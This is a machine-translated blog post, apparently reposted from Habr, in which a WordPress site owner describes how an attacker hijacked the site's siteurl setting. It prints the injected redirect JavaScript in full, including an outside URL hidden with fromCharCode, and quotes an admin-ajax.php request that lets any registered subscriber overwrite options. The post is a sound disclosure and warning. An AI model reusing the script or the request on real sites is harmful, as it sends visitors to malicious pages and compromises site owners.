admin-ajax.php中的严重漏洞

上周,我遇到了一个极其不愉快的事实。 访问过我的网站后,我发现它会将我重定向到我不知道的资源,防病毒博士非常发誓。 网页

自豪地采用WordPress 5.1版

引擎,插件和主题的所有传出更新均按时安装。 插件也仅来自官方存储库,主题也是如此。

该网站的备份已立即下载,并通过防病毒软件(Dr. Web,Kaspersky,AI-BOLIT)进行了扫描-但是没有结果,一切都很好。

手动检查了主题文件和一些插件,但同样没有结果。
在siteurl参数的wp_options表中检查数据库转储时,其他人的URL被隐藏了。 实际上,有一个重定向到他。

这是根据以下原则发生的:加载页面时,“ siteurl”参数被替换为所有

<script type='text/javascript' src=' URL  '></script> 

在这种情况下,将加载以下脚本:

 var x = getCookie('pp000001'); if (x) { var x2 = getCookie('pp000002'); if (x2) { var sdfgdfg = "URL";document.location.replace(sdfgdfg);window.location.href = sdfgdfg;document.location.href = sdfgdfg; } else { setCookie('pp000002','1',1); var sdfgdfg = String.fromCharCode(104, 116, 116, 112, 115, 58, 47, 47, 99, 108, 105, 99, 107, 46, 110, 101, 119, 112, 117, 115, 104, 46, 115, 117, 112, 112, 111, 114, 116, 47, 101, 115, 117, 122, 110, 120, 105, 102, 113, 107);document.location.replace(sdfgdfg);window.location.href = sdfgdfg;document.location.href = sdfgdfg; } } else { setCookie('pp000001','1',1); var sdfgdfg = "URL";document.location.replace(sdfgdfg);window.location.href = sdfgdfg;document.location.href = sdfgdfg; } function setCookie(name,value,days) { var expires = ""; if (days) { var date = new Date(); date.setTime(date.getTime() + (days*8*60*60*1000)); expires = "; expires=" + date.toUTCString(); } document.cookie = name + "=" + (value || "") + expires + "; path=/"; } function getCookie(name) { var nameEQ = name + "="; var ca = document.cookie.split(';'); for(var i=0;i < ca.length;i++) { var c = ca[i]; while (c.charAt(0)==' ') c = c.substring(1,c.length); if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length); } return null; } function eraseCookie(name) { document.cookie = name+'=; Max-Age=-99999999;'; } 


别人的URL如何进入数据库仍然是一个谜。 将网址更改为正确的网址后,一切都会恢复正常,但是第二天,在检查时,我再次看到了Dr. Web在重定向页面上发誓。 在数据库中再次更改了此参数。

之后,将下载新的站点访问日志和错误日志。 没有错误,但是在访问日志中找到了对该站点的一个非常有趣的请求:

 /wp-admin/admin-ajax.php?action=fs_set_db_option&option_name=siteurl&option_value= URL 

再次更正设置并检查一切正常后,我尝试在网站上重复此请求,但没有任何效果。 数据库中的设置未更改。

应当注意,该站点已开放注册,用户获得了“订户”的角色,对管理部分的访问已完全关闭。

试图注册一个新用户,登录,并且对该站点的请求成功后,数据库中的设置更改了。

结果,事实证明,即使在站点上打开了用户注册,即使具有“订阅者”角色并且关闭了对管理面板的访问,此请求仍然有效。

它是在另一个站点上检查过的,之前已关闭了所有插件并设置了默认主题-结果是相同的。

除了如何关闭注册并删除可疑用户外,如何战斗-我尚未找到解决方案。

PS:谷歌的请求,被感染的网站被发现,要小心。

Source: https://habr.com/ru/post/zh-CN455918/


All Articles